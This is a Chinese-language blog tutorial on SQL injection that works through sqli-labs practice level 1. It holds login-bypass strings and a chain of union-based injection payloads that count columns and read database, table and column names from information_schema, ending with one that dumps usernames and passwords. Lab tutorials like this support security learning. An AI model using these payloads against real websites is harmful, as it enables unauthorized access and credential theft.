所谓sql注入,就是将SQL代码插入或添加到用户输入的字段(比如网站的表单输入框)中,以此使得数据库执行非预期的命令。
例如,一个简单的登录验证场景命令,正常的 SQL 语句可能是这样的:
SELECT * FROM users WHERE username = 'input_username' AND password = 'input_password';
如果攻击者在用户名输入框中输入 ' OR 1=1 -- (这里假设应用程序没有对输入进行处理),那么实际执行的 SQL 语句就会变成:
SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'input_password';
其中,是 SQL 中的注释符,后面的内容会被数据库忽略。这样一来,由于 OR 1=1 这个条件恒成立,就可能导致绕过登录验证,直接获取到用户表中的所有信息。
听起来很帅吧,但以后一定谨慎,而且这玩意真的超级难懂,像是外星人的语言,需要我们学,一直学!
我以sqli-labs靶场第一关为例子讲解一些注入流程(包含一些语句)。
打开第一关

首先判断是否存在注入以及注入类型
如何判断页面是否存在sql注入,可以尝试闭合看有没有报错,如果报错,说明可以进行sql注入。(id后面加单引号,返回正常,不存在;返回不正常,存在)
注入类型判断:
假设ip/?id=1
如果是数字型,参数没有被引号包围:
id=1 and 1=1 返回页面正常
id=1 and 1=2 返回页面不正常
id=1’ and ‘1’=‘1 返回页面不正常
id=1’ and ‘1’=‘2 返回页面不正常
字符型,参数被引号包围:
id=1 and 1=1 返回页面正常或错误
id=1 and 1=2 返回页面正常或错误
id=1’ and ‘1’=‘1 返回页面正常
id=1’ and ‘1’='2 返回页面不正常
看到黄色字体,需要输入id,先试着输入 ?id=1(问号相当于告诉电脑要传入参数)

可以看到登录账号和密码。这里可以进行sql注入
下一步就开始进行注入。
看看数据库有多少列,使用以下语句:
?id=1' order by 3--+
?id=1' union select 1,2,3 --+
这两句都可以
补充:union select:将多个SELECT语句的结果合并到一个结果集中,用于联合注入(大概以后会讲,或者看其他人的博客,这里不再多讲)。


可以发现有3列
判断name和password属于数据库中第几列
?id=-1' union select 1,2,3 --+

可以看到name在第2列,password在第3列
下一步在第2或第3列查询数据库名称,语句如下:
?id=-1' union select 1,database(),3 --+

然后分别利用如下语句查询数据库中所有的表和所有的列
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema= 'security'),3--+ 表
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema= 'security' and table_name='users'),3 --+ 列


现在就差查数据了,语句走起
?id=-1' union select 1,group_concat(concat_ws(0x3a,username,password)),3 from security.users --+

到这里,数据库名,数据库中的表名,列名,数据就都知道了。
那么第一关就大功告成!其实后面第二关到第四关大多类似,关键在于判断sql注入类型。
最后提醒:一定要在前面打问号!!!空格,大小写要把控好!sql注入语句比较难记,需要多加巩固实践!
今天就到这里喽!

1万+

被折叠的 条评论
为什么被折叠?



